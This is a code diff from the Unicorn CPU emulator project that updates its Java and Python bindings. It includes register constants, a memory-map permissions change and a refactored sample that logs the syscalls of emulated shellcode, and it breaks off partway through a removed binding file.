public static final int UC_X86_REG_YMM26 = 180;
|
|
||||||
public static final int UC_X86_REG_YMM27 = 181;
|
|
||||||
public static final int UC_X86_REG_YMM28 = 182;
|
|
||||||
public static final int UC_X86_REG_YMM29 = 183;
|
|
||||||
public static final int UC_X86_REG_YMM30 = 184;
|
|
||||||
public static final int UC_X86_REG_YMM31 = 185;
|
|
||||||
public static final int UC_X86_REG_ZMM0 = 186;
|
|
||||||
public static final int UC_X86_REG_ZMM1 = 187;
|
|
||||||
public static final int UC_X86_REG_ZMM2 = 188;
|
|
||||||
public static final int UC_X86_REG_ZMM3 = 189;
|
|
||||||
public static final int UC_X86_REG_ZMM4 = 190;
|
|
||||||
public static final int UC_X86_REG_ZMM5 = 191;
|
|
||||||
public static final int UC_X86_REG_ZMM6 = 192;
|
|
||||||
public static final int UC_X86_REG_ZMM7 = 193;
|
|
||||||
public static final int UC_X86_REG_ZMM8 = 194;
|
|
||||||
public static final int UC_X86_REG_ZMM9 = 195;
|
|
||||||
public static final int UC_X86_REG_ZMM10 = 196;
|
|
||||||
public static final int UC_X86_REG_ZMM11 = 197;
|
|
||||||
public static final int UC_X86_REG_ZMM12 = 198;
|
|
||||||
public static final int UC_X86_REG_ZMM13 = 199;
|
|
||||||
public static final int UC_X86_REG_ZMM14 = 200;
|
|
||||||
public static final int UC_X86_REG_ZMM15 = 201;
|
|
||||||
public static final int UC_X86_REG_ZMM16 = 202;
|
|
||||||
public static final int UC_X86_REG_ZMM17 = 203;
|
|
||||||
public static final int UC_X86_REG_ZMM18 = 204;
|
|
||||||
public static final int UC_X86_REG_ZMM19 = 205;
|
|
||||||
public static final int UC_X86_REG_ZMM20 = 206;
|
|
||||||
public static final int UC_X86_REG_ZMM21 = 207;
|
|
||||||
public static final int UC_X86_REG_ZMM22 = 208;
|
|
||||||
public static final int UC_X86_REG_ZMM23 = 209;
|
|
||||||
public static final int UC_X86_REG_ZMM24 = 210;
|
|
||||||
public static final int UC_X86_REG_ZMM25 = 211;
|
|
||||||
public static final int UC_X86_REG_ZMM26 = 212;
|
|
||||||
public static final int UC_X86_REG_ZMM27 = 213;
|
|
||||||
public static final int UC_X86_REG_ZMM28 = 214;
|
|
||||||
public static final int UC_X86_REG_ZMM29 = 215;
|
|
||||||
public static final int UC_X86_REG_ZMM30 = 216;
|
|
||||||
public static final int UC_X86_REG_ZMM31 = 217;
|
|
||||||
public static final int UC_X86_REG_R8B = 218;
|
|
||||||
public static final int UC_X86_REG_R9B = 219;
|
|
||||||
public static final int UC_X86_REG_R10B = 220;
|
|
||||||
public static final int UC_X86_REG_R11B = 221;
|
|
||||||
public static final int UC_X86_REG_R12B = 222;
|
|
||||||
public static final int UC_X86_REG_R13B = 223;
|
|
||||||
public static final int UC_X86_REG_R14B = 224;
|
|
||||||
public static final int UC_X86_REG_R15B = 225;
|
|
||||||
public static final int UC_X86_REG_R8D = 226;
|
|
||||||
public static final int UC_X86_REG_R9D = 227;
|
|
||||||
public static final int UC_X86_REG_R10D = 228;
|
|
||||||
public static final int UC_X86_REG_R11D = 229;
|
|
||||||
public static final int UC_X86_REG_R12D = 230;
|
|
||||||
public static final int UC_X86_REG_R13D = 231;
|
|
||||||
public static final int UC_X86_REG_R14D = 232;
|
|
||||||
public static final int UC_X86_REG_R15D = 233;
|
|
||||||
public static final int UC_X86_REG_R8W = 234;
|
|
||||||
public static final int UC_X86_REG_R9W = 235;
|
|
||||||
public static final int UC_X86_REG_R10W = 236;
|
|
||||||
public static final int UC_X86_REG_R11W = 237;
|
|
||||||
public static final int UC_X86_REG_R12W = 238;
|
|
||||||
public static final int UC_X86_REG_R13W = 239;
|
|
||||||
public static final int UC_X86_REG_R14W = 240;
|
|
||||||
public static final int UC_X86_REG_R15W = 241;
|
|
||||||
public static final int UC_X86_REG_ENDING = 242;
|
|
||||||
}
|
|
@ -502,13 +502,13 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_hook_1del
|
|||||||
/*
|
/*
|
||||||
* Class: unicorn_Unicorn
|
* Class: unicorn_Unicorn
|
||||||
* Method: mem_map
|
* Method: mem_map
|
||||||
* Signature: (JJ)V
|
* Signature: (JJI)V
|
||||||
*/
|
*/
|
||||||
JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1map
|
JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1map
|
||||||
(JNIEnv *env, jobject self, jlong address, jlong size) {
|
(JNIEnv *env, jobject self, jlong address, jlong size, jint perms) {
|
||||||
uch handle = getHandle(env, self);
|
uch handle = getHandle(env, self);
|
||||||
|
|
||||||
uc_err err = uc_mem_map(handle, (uint64_t)address, (size_t)size);
|
uc_err err = uc_mem_map(handle, (uint64_t)address, (size_t)size, (uint32_t)perms);
|
||||||
if (err != UC_ERR_OK) {
|
if (err != UC_ERR_OK) {
|
||||||
throwException(env, err);
|
throwException(env, err);
|
||||||
}
|
}
|
||||||
|
15
bindings/python/sample_all.sh
Executable file
15
bindings/python/sample_all.sh
Executable file
@ -0,0 +1,15 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
./sample_x86.py
|
||||||
|
echo "=========================="
|
||||||
|
./shellcode.py
|
||||||
|
echo "=========================="
|
||||||
|
./sample_arm.py
|
||||||
|
echo "=========================="
|
||||||
|
./sample_arm64.py
|
||||||
|
echo "=========================="
|
||||||
|
./sample_mips.py
|
||||||
|
echo "=========================="
|
||||||
|
./sample_sparc.py
|
||||||
|
echo "=========================="
|
||||||
|
./sample_m68k.py
|
@ -10,8 +10,7 @@ import uuid
|
|||||||
import random
|
import random
|
||||||
|
|
||||||
SIZE_REG = 4
|
SIZE_REG = 4
|
||||||
SOCKETCALL_MAX_ARGS = 6
|
SOCKETCALL_MAX_ARGS = 3
|
||||||
FILENAME_MAX_LEN = 128
|
|
||||||
|
|
||||||
SOCKET_TYPES = {
|
SOCKET_TYPES = {
|
||||||
1: "SOCK_STREAM",
|
1: "SOCK_STREAM",
|
||||||
@ -133,15 +132,17 @@ def bin_to_ipv4(ip):
|
|||||||
(ip & 0xff00) >> 8,
|
(ip & 0xff00) >> 8,
|
||||||
(ip & 0xff))
|
(ip & 0xff))
|
||||||
|
|
||||||
def bytearray_to_string(ba):
|
def read_string(uc, addr):
|
||||||
ret = ""
|
ret = ""
|
||||||
|
|
||||||
i = 0
|
c = uc.mem_read(addr, 1)[0]
|
||||||
while i < len(ba) and ba[i] != 0x0:
|
read_bytes = 1
|
||||||
ret += chr(ba[i])
|
|
||||||
|
while c != 0x0:
|
||||||
|
ret += chr(c)
|
||||||
|
c = uc.mem_read(addr+read_bytes, 1)[0]
|
||||||
|
read_bytes += 1
|
||||||
|
|
||||||
i += 1
|
|
||||||
|
|
||||||
return ret
|
return ret
|
||||||
|
|
||||||
def parse_sock_address(sock_addr):
|
def parse_sock_address(sock_addr):
|
||||||
@ -189,9 +190,9 @@ def hook_intr(uc, intno, user_data):
|
|||||||
buf = ecx
|
buf = ecx
|
||||||
count = edx
|
count = edx
|
||||||
|
|
||||||
dummy_content = str(uuid.uuid1())
|
dummy_content = str(uuid.uuid1())[:32]
|
||||||
if len(dummy_content) > count:
|
if len(dummy_content) > count:
|
||||||
dummy_content = dummy_content[:count]
|
dummy_content = dummy_content[:count]
|
||||||
|
|
||||||
uc.mem_write(buf, dummy_content)
|
uc.mem_write(buf, dummy_content)
|
||||||
|
|
||||||
@ -206,7 +207,7 @@ def hook_intr(uc, intno, user_data):
|
|||||||
|
|
||||||
content = uc.mem_read(buf, count)
|
content = uc.mem_read(buf, count)
|
||||||
|
|
||||||
msg = "write data=%s count=%d to fd(%d)" % (bytearray_to_string(content), count, fd)
|
msg = "write data=%s count=%d to fd(%d)" % (content, count, fd)
|
||||||
|
|
||||||
print(">>> %s" % msg)
|
print(">>> %s" % msg)
|
||||||
fd_chains.add_log(fd, msg)
|
fd_chains.add_log(fd, msg)
|
||||||
@ -214,21 +215,21 @@ def hook_intr(uc, intno, user_data):
|
|||||||
filename_addr = ebx
|
filename_addr = ebx
|
||||||
flags = ecx
|
flags = ecx
|
||||||
mode = edx
|
mode = edx
|
||||||
filename = uc.mem_read(filename_addr, FILENAME_MAX_LEN)
|
filename = read_string(uc, filename_addr)
|
||||||
|
|
||||||
dummy_fd = id_gen.next()
|
dummy_fd = id_gen.next()
|
||||||
uc.reg_write(UC_X86_REG_EAX, dummy_fd)
|
uc.reg_write(UC_X86_REG_EAX, dummy_fd)
|
||||||
|
|
||||||
msg = "open file (filename=%s flags=%d mode=%d) with fd(%d)" % (bytearray_to_string(filename), flags, mode, dummy_fd)
|
msg = "open file (filename=%s flags=%d mode=%d) with fd(%d)" % (filename, flags, mode, dummy_fd)
|
||||||
|
|
||||||
fd_chains.create_chain(dummy_fd)
|
fd_chains.create_chain(dummy_fd)
|
||||||
fd_chains.add_log(dummy_fd, msg)
|
fd_chains.add_log(dummy_fd, msg)
|
||||||
print(">>> %s" % msg)
|
print(">>> %s" % msg)
|
||||||
elif eax == 11: # sys_execv
|
elif eax == 11: # sys_execv
|
||||||
# print(">>> ebx=0x%x, ecx=0x%x, edx=0x%x" % (ebx, ecx, edx))
|
# print(">>> ebx=0x%x, ecx=0x%x, edx=0x%x" % (ebx, ecx, edx))
|
||||||
filename = uc.mem_read(ebx, FILENAME_MAX_LEN)
|
filename = read_string(uc, ebx)
|
||||||
|
|
||||||
print(">>> SYS_EXECV filename=%s" % bytearray_to_string(filename))
|
print(">>> SYS_EXECV filename=%s" % filename)
|
||||||
elif eax == 63: # sys_dup2
|
elif eax == 63: # sys_dup2
|
||||||
fd_chains.link_fd(ecx, ebx)
|
fd_chains.link_fd(ecx, ebx)
|
||||||
print(">>> SYS_DUP2 oldfd=%d newfd=%d" % (ebx, ecx))
|
print(">>> SYS_DUP2 oldfd=%d newfd=%d" % (ebx, ecx))
|
||||||
@ -237,8 +238,19 @@ def hook_intr(uc, intno, user_data):
|
|||||||
call = uc.reg_read(UC_X86_REG_EBX)
|
call = uc.reg_read(UC_X86_REG_EBX)
|
||||||
args = uc.reg_read(UC_X86_REG_ECX)
|
args = uc.reg_read(UC_X86_REG_ECX)
|
||||||
|
|
||||||
buf = uc.mem_read(args, SOCKETCALL_MAX_ARGS*SIZE_REG)
|
SOCKETCALL_NUM_ARGS = {
|
||||||
args = struct.unpack("<" + "I"*SOCKETCALL_MAX_ARGS, buf)
|
1: 3, # sys_socket
|
||||||
|
2: 3, # sys_bind
|
||||||
|
3: 3, # sys_connect
|
||||||
|
4: 2, # sys_listen
|
||||||
|
5: 3, # sys_accept
|
||||||
|
9: 4, # sys_send
|
||||||
|
11: 4, # sys_receive
|
||||||
|
13: 2 # sys_shutdown
|
||||||
|
}
|
||||||
|
|
||||||
|
buf = uc.mem_read(args, SOCKETCALL_NUM_ARGS[call]*SIZE_REG)
|
||||||
|
args = struct.unpack("<" + "I"*SOCKETCALL_NUM_ARGS[call], buf)
|
||||||
|
|
||||||
# int sys_socketcall(int call, unsigned long *args)
|
# int sys_socketcall(int call, unsigned long *args)
|
||||||
if call == 1: # sys_socket
|
if call == 1: # sys_socket
|
||||||
|
@ -1,464 +1,4 @@
|
|||||||
# Unicorn Python bindings, by Nguyen Anh Quynnh <aquynh@gmail.com>
|
# Unicorn Python bindings, by Nguyen Anh Quynnh <aquynh@gmail.com>
|
||||||
import sys
|
|
||||||
_python2 = sys.version_info[0] < 3
|
|
||||||
if _python2:
|
|
||||||
range = xrange
|
|
||||||
from . import arm_const, arm64_const, mips_const, sparc_const, m68k_const, x86_const
|
from . import arm_const, arm64_const, mips_const, sparc_const, m68k_const, x86_const
|
||||||
|
from unicorn_const import *
|
||||||
__all__ = [
|
from unicorn import Uc, uc_version, uc_arch_supported, version_bind, debug, UcError
|
||||||
'Uc',
|
|
||||||
|
|
||||||
'uc_version',
|
|
||||||
'uc_arch_supported',
|
|
||||||
'version_bind',
|
|
||||||
'debug',
|
|
||||||
|
|
||||||
'UC_API_MAJOR',
|
|
||||||
'UC_API_MINOR',
|
|
||||||
|
|
||||||
'UC_ARCH_ARM',
|
|
||||||
'UC_ARCH_ARM64',
|
|
||||||
'UC_ARCH_MIPS',
|
|
||||||
'UC_ARCH_X86',
|
|
||||||
'UC_ARCH_SPARC',
|
|
||||||
'UC_ARCH_M68K',
|
|
||||||
'UC_ARCH_ALL',
|
|
||||||
|
|
||||||
'UC_MODE_LITTLE_ENDIAN',
|
|
||||||
'UC_MODE_BIG_ENDIAN',
|
|
||||||
'UC_MODE_16',
|
|
||||||
'UC_MODE_32',
|
|
||||||
'UC_MODE_64',
|
|
||||||
'UC_MODE_ARM',
|
|
||||||
'UC_MODE_THUMB',
|
|
||||||
'UC_MODE_MCLASS',
|
|
||||||
'UC_MODE_MICRO',
|
|
||||||
'UC_MODE_MIPS3',
|
|
||||||
'UC_MODE_MIPS32R6',
|
|
||||||
'UC_MODE_MIPSGP64',
|
|
||||||
'UC_MODE_V8',
|
|
||||||
'UC_MODE_V9',
|
|
||||||
'UC_MODE_MIPS32',
|
|
||||||
'UC_MODE_MIPS64',
|
|
||||||
|
|
||||||
'UC_ERR_OK',
|
|
||||||
'UC_ERR_OOM',
|
|
||||||
'UC_ERR_ARCH',
|
|
||||||
'UC_ERR_HANDLE',
|
|
||||||
'UC_ERR_UCH',
|
|
||||||
'UC_ERR_MODE',
|
|
||||||
'UC_ERR_VERSION',
|
|
||||||
'UC_ERR_MEM_READ',
|
|
||||||
'UC_ERR_MEM_WRITE',
|
|
||||||
'UC_ERR_CODE_INVALID',
|
|
||||||
'UC_ERR_HOOK',
|
|
||||||
'UC_ERR_INSN_INVALID',
|
|
||||||
'UC_ERR_MAP',
|
|
||||||
|
|
||||||
'UC_HOOK_INTR',
|
|
||||||
'UC_HOOK_INSN',
|
|
||||||
'UC_HOOK_CODE',
|
|
||||||
'UC_HOOK_BLOCK',
|
|
||||||
'UC_HOOK_MEM_INVALID',
|
|
||||||
'UC_HOOK_MEM_READ',
|
|
||||||
'UC_HOOK_MEM_WRITE',
|
|
||||||
'UC_HOOK_MEM_READ_WRITE',
|
|
||||||
|
|
||||||
'UC_MEM_READ',
|
|
||||||
'UC_MEM_WRITE',
|
|
||||||
'UC_MEM_READ_WRITE',
|
|
||||||
|
|
||||||
'UC_SECOND_SCALE',
|
|
||||||
'UC_MILISECOND_SCALE',
|
|
||||||
|
|
||||||
'UcError',
|
|
||||||
]
|
|
||||||
|
|
||||||
# Unicorn C interface
|
|
||||||
|
|
||||||
# API version
|
|
||||||
UC_API_MAJOR = 0
|
|
||||||
UC_API_MINOR = 9
|
|
||||||
|
|
||||||
# Architectures
|
|
||||||
UC_ARCH_ARM = 1
|
|
||||||
UC_ARCH_ARM64 = 2
|
|
||||||
UC_ARCH_MIPS = 3
|
|
||||||
UC_ARCH_X86 = 4
|
|
||||||
UC_ARCH_PPC = 5
|
|
||||||
UC_ARCH_SPARC = 6
|
|
||||||
UC_ARCH_M68K = 7
|
|
||||||
UC_ARCH_MAX = 8
|
|
||||||
UC_ARCH_ALL = 0xFFFF
|
|
||||||
|
|
||||||
# Hardware modes
|
|
||||||
UC_MODE_LITTLE_ENDIAN = 0 # little-endian mode (default mode)
|
|
||||||
UC_MODE_ARM = 0 # ARM mode
|
|
||||||
UC_MODE_16 = (1 << 1) # 16-bit mode (for X86)
|
|
||||||
UC_MODE_32 = (1 << 2) # 32-bit mode (for X86)
|
|
||||||
UC_MODE_64 = (1 << 3) # 64-bit mode (for X86, PPC)
|
|
||||||
UC_MODE_THUMB = (1 << 4) # ARM's Thumb mode, including Thumb-2
|
|
||||||
UC_MODE_MCLASS = (1 << 5) # ARM's Cortex-M series
|
|
||||||
UC_MODE_V8 = (1 << 6) # ARMv8 A32 encodings for ARM
|
|
||||||
UC_MODE_MICRO = (1 << 4) # MicroMips mode (MIPS architecture)
|
|
||||||
UC_MODE_MIPS3 = (1 << 5) # Mips III ISA
|
|
||||||
UC_MODE_MIPS32R6 = (1 << 6) # Mips32r6 ISA
|
|
||||||
UC_MODE_MIPSGP64 = (1 << 7) # General Purpose Registers are 64-bit wide (MIPS arch)
|
|
||||||
UC_MODE_V9 = (1 << 4) # Sparc V9 mode (for Sparc)
|
|
||||||
UC_MODE_BIG_ENDIAN = (1 << 31) # big-endian mode
|
|
||||||
UC_MODE_MIPS32 = UC_MODE_32 # Mips32 ISA
|
|
||||||
UC_MODE_MIPS64 = UC_MODE_64 # Mips64 ISA
|
|
||||||
|
|
||||||
|
|
||||||
# Unicorn error type
|
|
||||||
UC_ERR_OK = 0 # No error: everything was fine
|
|
||||||
UC_ERR_OOM = 1 # Out-Of-Memory error: uc_open(), uc_emulate()
|
|
||||||
UC_ERR_ARCH = 2 # Unsupported architecture: uc_open()
|
|
||||||
UC_ERR_HANDLE = 3 # Invalid handle
|
|
||||||
UC_ERR_UCH = 4 # Invalid handle (uch)
|
|
||||||
UC_ERR_MODE = 5 # Invalid/unsupported mode: uc_open()
|
|
||||||
UC_ERR_VERSION = 6 # Unsupported version (bindings)
|
|
||||||
UC_ERR_MEM_READ = 7 # Quit emulation due to invalid memory READ: uc_emu_start()
|
|
||||||
UC_ERR_MEM_WRITE = 8 # Quit emulation due to invalid memory WRITE: uc_emu_start()
|
|
||||||
UC_ERR_CODE_INVALID = 9 # Quit emulation due to invalid code address: uc_emu_start()
|
|
||||||
UC_ERR_HOOK = 10 # Invalid hook type: uc_hook_add()
|
|
||||||
UC_ERR_INSN_INVALID = 11 # Invalid instruction
|
|
||||||
UC_ERR_MAP = 12 # Invalid memory mapping
|
|
||||||
|
|
||||||
|
|
||||||
# All type of hooks for uc_hook_add() API.
|
|
||||||
UC_HOOK_INTR = 32 # Hook all interrupt events
|
|
||||||
UC_HOOK_INSN = 33 # Hook a particular instruction
|
|
||||||
UC_HOOK_CODE = 34 # Hook a range of code
|
|
||||||
UC_HOOK_BLOCK = 35 # Hook basic blocks
|
|
||||||
UC_HOOK_MEM_INVALID = 36 # Hook for all invalid memory access events
|
|
||||||
UC_HOOK_MEM_READ = 37 # Hook all memory read events.
|
|
||||||
UC_HOOK_MEM_WRITE = 38 # Hook all memory write events.
|
|
||||||
UC_HOOK_MEM_READ_WRITE = 39 # Hook all memory accesses (either READ or WRITE).
|
|
||||||
|
|
||||||
|
|
||||||
# All type of memory accesses for UC_HOOK_MEM_*
|
|
||||||
UC_MEM_READ = 16 # Memory is read from
|
|
||||||
UC_MEM_WRITE = 17 # Memory is written to
|
|
||||||
UC_MEM_READ_WRITE = 18 # Memory is accessed (either READ or WRITE)
|
|
||||||
|
|
||||||
|
|
||||||
# Time scales to calculate timeout on microsecond unit
|
|
||||||
# This is for Uc.emu_start()
|
|
||||||
UC_SECOND_SCALE = 1000000 # 1 second = 1000,000 microseconds
|
|
||||||
UC_MILISECOND_SCALE = 1000 # 1 milisecond = 1000 nanoseconds
|
|
||||||
|
|
||||||
|
|
||||||
import ctypes, ctypes.util, sys
|
|
||||||
from os.path import split, join, dirname
|
|
||||||
import distutils.sysconfig
|
|
||||||
|
|
||||||
|
|
||||||
import inspect
|
|
||||||
if not hasattr(sys.modules[__name__], '__file__'):
|
|
||||||
__file__ = inspect.getfile(inspect.currentframe())
|
|
||||||
|
|
||||||
_lib_path = split(__file__)[0]
|
|
||||||
_all_libs = ['unicorn.dll', 'libunicorn.so', 'libunicorn.dylib']
|
|
||||||
_found = False
|
|
||||||
|
|
||||||
for _lib in _all_libs:
|
|
||||||
try:
|
|
||||||
_lib_file = join(_lib_path, _lib)
|
|
||||||
# print "Trying to load:", _lib_file
|
|
||||||
_uc = ctypes.cdll.LoadLibrary(_lib_file)
|
|
||||||
_found = True
|
|
||||||
break
|
|
||||||
except OSError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
if _found == False:
|
|
||||||
# try loading from default paths
|
|
||||||
for _lib in _all_libs:
|
|
||||||
try:
|
|
||||||
_uc = ctypes.cdll.LoadLibrary(_lib)
|
|
||||||
_found = True
|
|
||||||
break
|
|
||||||
except OSError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
if _found == False:
|
|
||||||
# last try: loading from python lib directory
|
|
||||||
_lib_path = distutils.sysconfig.get_python_lib()
|
|
||||||
for _lib in _all_libs:
|
|
||||||
try:
|
|
||||||
_lib_file = join(_lib_path, 'unicorn', _lib)
|
|
||||||
# print "Trying to load:", _lib_file
|
|
||||||
_uc = ctypes.cdll.LoadLibrary(_lib_file)
|
|
||||||
_found = True
|
|
||||||
break
|
|
||||||
except OSError:
|
|
||||||
pass
|
|
||||||
if _found == False:
|
|
||||||
raise ImportError("ERROR: fail to load the dynamic library.")
|
|
||||||
|
|
||||||
|
|
||||||
# setup all the function prototype
|
|
||||||
def _setup_prototype(lib, fname, restype, *argtypes):
|
|
||||||
getattr(lib, fname).restype = restype
|
|
||||||
getattr(lib, fname).argtypes = argtypes
|
|
||||||
|
|
||||||
_setup_prototype(_uc, "uc_version", ctypes.c_int, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int))
|
|
||||||
_setup_prototype(_uc, "uc_arch_supported", ctypes.c_bool, ctypes.c_int)
|
|
||||||
_setup_prototype(_uc, "uc_open", ctypes.c_int, ctypes.c_uint, ctypes.c_uint, ctypes.POINTER(ctypes.c_size_t))
|
|
||||||
_setup_prototype(_uc, "uc_close", ctypes.c_int, ctypes.POINTER(ctypes.c_size_t))
|
|
||||||
_setup_prototype(_uc, "uc_strerror", ctypes.c_char_p, ctypes.c_int)
|
|
||||||
_setup_prototype(_uc, "uc_errno", ctypes.c_int, ctypes.c_size_t)
|
|
||||||
_setup_prototype(_uc, "uc_reg_read", ctypes.c_int, ctypes.c_size_t, ctypes.c_int, ctypes.c_void_p)
|
|
||||||
_setup_prototype(_uc, "uc_reg_write", ctypes.c_int, ctypes.c_size_t, ctypes.c_int, ctypes.c_void_p)
|
|
||||||
_setup_prototype(_uc, "uc_mem_read", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t)
|
|
||||||
_setup_prototype(_uc, "uc_mem_write", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t)
|
|
||||||
_setup_prototype(_uc, "uc_emu_start", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_size_t)
|
|
||||||
_setup_prototype(_uc, "uc_emu_stop", ctypes.c_int, ctypes.c_size_t)
|
|
||||||
_setup_prototype(_uc, "uc_hook_del", ctypes.c_int, ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t))
|
|
||||||
_setup_prototype(_uc, "uc_mem_map", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_size_t)
|
|
||||||
|
|
||||||
# uc_hook_add is special due to variable number of arguments
|
|
||||||
_uc.uc_hook_add = getattr(_uc, "uc_hook_add")
|
|
||||||
_uc.uc_hook_add.restype = ctypes.c_int
|
|
||||||
|
|
||||||
UC_HOOK_CODE_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_size_t, ctypes.c_void_p)
|
|
||||||
UC_HOOK_MEM_INVALID_CB = ctypes.CFUNCTYPE(ctypes.c_bool, ctypes.c_size_t, ctypes.c_int, \
|
|
||||||
ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p)
|
|
||||||
UC_HOOK_MEM_ACCESS_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_int, \
|
|
||||||
ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p)
|
|
||||||
UC_HOOK_INTR_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint32, \
|
|
||||||
ctypes.c_void_p)
|
|
||||||
UC_HOOK_INSN_IN_CB = ctypes.CFUNCTYPE(ctypes.c_uint32, ctypes.c_size_t, ctypes.c_uint32, \
|
|
||||||
ctypes.c_int, ctypes.c_void_p)
|
|
||||||
UC_HOOK_INSN_OUT_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint32, \
|
|
||||||
ctypes.c_int, ctypes.c_uint32, ctypes.c_void_p)
|
|
||||||
UC_HOOK_INSN_SYSCALL_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_void_p)
|
|
||||||
|
|
||||||
|
|
||||||
# access to error code via @errno of UcError
|
|
||||||
class UcError(Exception):
|
|
||||||
def __init__(self, errno):
|
|
||||||
self.errno = errno
|
|
||||||
|
|
||||||
def __str__(self):
|
|
||||||
return _uc.uc_strerror(self.errno)
|
|
||||||
|
|
||||||
|
|
||||||
# return the core's version
|
|
||||||
def uc_version():
|
|
||||||
major = ctypes.c_int()
|
|
||||||
minor = ctypes.c_int()
|
|
||||||
combined = _uc.uc_version(ctypes.byref(major), ctypes.byref(minor))
|
|
||||||
return (major.value, minor.value, combined)
|
|
||||||
|
|
||||||
|
|
||||||
# return the binding's version
|
|
||||||
def version_bind():
|
|
||||||
return (UC_API_MAJOR, UC_API_MINOR, (UC_API_MAJOR << 8) + UC_API_MINOR)
|
|
||||||
|
|
||||||
|
|
||||||
# check to see if this engine supports a particular arch
|
|
||||||
def uc_arch_supported(query):
|
|
||||||
return _uc.uc_arch_supported(query)
|
|
||||||
|
|
||||||
|
|
||||||
class Uc(object):
|
|
||||||
def __init__(self, arch, mode):
|
|
||||||
# verify version compatibility with the core before doing anything
|
|
||||||
(major, minor, _combined) = uc_version()
|
|
||||||
if major != UC_API_MAJOR or minor != UC_API_MINOR:
|
|
||||||
self._uch = None
|
|
||||||
# our binding version is different from the core's API version
|
|
||||||
raise UcError(UC_ERR_VERSION)
|
|
||||||
|
|
||||||
self._arch, self._mode = arch, mode
|
|
||||||
self._uch = ctypes.c_size_t()
|
|
||||||
status = _uc.uc_open(arch, mode, ctypes.byref(self._uch))
|
|
||||||
if status != UC_ERR_OK:
|
|
||||||
self._uch = None
|
|
||||||
raise UcError(status)
|
|
||||||
# internal mapping table to save callback & userdata
|
|
||||||
self._callbacks = {}
|
|
||||||
self._callback_count = 0
|
|
||||||
|
|
||||||
|
|
||||||
# destructor to be called automatically when object is destroyed.
|
|
||||||
def __del__(self):
|
|
||||||
if self._uch:
|
|
||||||
try:
|
|
||||||
status = _uc.uc_close(ctypes.byref(self._uch))
|
|
||||||
if status != UC_ERR_OK:
|
|
||||||
raise UcError(status)
|
|
||||||
except: # _uc might be pulled from under our feet
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
# emulate from @begin, and stop when reaching address @until
|
|
||||||
def emu_start(self, begin, until, timeout=0, count=0):
|
|
||||||
status = _uc.uc_emu_start(self._uch, begin, until, timeout, count)
|
|
||||||
if status != UC_ERR_OK:
|
|
||||||
raise UcError(status)
|
|
||||||
|
|
||||||
|
|
||||||
# stop emulation
|
|
||||||
def emu_stop(self):
|
|
||||||
status = _uc.uc_emu_stop(self._uch)
|
|
||||||
if status != UC_ERR_OK:
|
|
||||||
raise UcError(status)
|
|
||||||
|
|
||||||
|
|
||||||
# return the value of a register
|
|
||||||
def reg_read(self, reg_id):
|
|
||||||
# read to 64bit number to be safe
|
|
||||||
reg = ctypes.c_int64(0)
|
|
||||||
status = _uc.uc_reg_read(self._uch, reg_id, ctypes.byref(reg))
|
|
||||||
if status != UC_ERR_OK:
|
|
||||||
raise UcError(status)
|
|
||||||
return reg.value
|
|
||||||
|
|
||||||
|
|
||||||
# write to a register
|
|
||||||
def reg_write(self, reg_id, value):
|
|
||||||
# convert to 64bit number to be safe
|
|
||||||
reg = ctypes.c_int64(value)
|
|
||||||
status = _uc.uc_reg_write(self._uch, reg_id, ctypes.byref(reg))
|
|
||||||
if status != UC_ERR_OK:
|
|
||||||
raise UcError(status)
|
|
||||||
|
|
||||||
|
|
||||||
# read data from memory
|
|
||||||
def mem_read(self, address, size):
|
|
||||||
data = ctypes.create_string_buffer(size)
|
|
||||||
status = _uc.uc_mem_read(self._uch, address, data, size)
|
|
||||||
if status != UC_ERR_OK:
|
|
||||||
raise UcError(status)
|
|
||||||
return bytearray(data)
|
|
||||||
|
|
||||||
|
|
||||||
# write to memory
|
|
||||||
def mem_write(self, address, data):
|
|
||||||
status = _uc.uc_mem_write(self._uch, address, data, len(data))
|
|
||||||
if status != UC_ERR_OK:
|
|
||||||
raise UcError(status)
|
|
||||||
|
|
||||||
|
|
||||||
# map a range of memory
|
|
||||||
def mem_map(self, address, size):
|
|
||||||
status = _uc.uc_mem_map(self._uch, address, size)
|
|
||||||
if status != UC_ERR_OK:
|
|
||||||
raise UcError(status)
|
|
||||||
|
|
||||||
|
|
||||||
def _hookcode_cb(self, handle, address, size, user_data):
|
|
||||||
# call user's callback with self object
|
|
||||||
(cb, data) = self._callbacks[user_data]
|
|
||||||
cb(self, address, size, data)
|
|
||||||
|
|
||||||
|
|
||||||
def _hook_mem_invalid_cb(self, handle, access, address, size, value, user_data):
|
|
||||||
# call user's callback with self object
|
|
||||||
(cb, data) = self._callbacks[user_data]
|
|
||||||
return cb(self, access, address, size, value, data)
|
|
||||||
|
|
||||||
|
|
||||||
def _hook_mem_access_cb(self, handle, access, address, size, value, user_data):
|
|
||||||
# call user's callback with self object
|
|
||||||
(cb, data) = self._callbacks[user_data]
|
|
||||||
cb(self, access, address, size, value, data)
|
|
||||||
|
|
||||||
|
|
||||||
def _hook_intr_cb(self, handle, intno, user_data):
|
|
||||||
# call user's callback with self object
|
|
||||||
(cb, data) = self._callbacks[user_data]
|
|
||||||
cb(self, intno, data)
|
|
||||||
|
|
||||||
|
|
||||||
def _hook_insn_in_cb(self, handle, port, size, user_data):
|
|
||||||
# call user's callback with self object
|
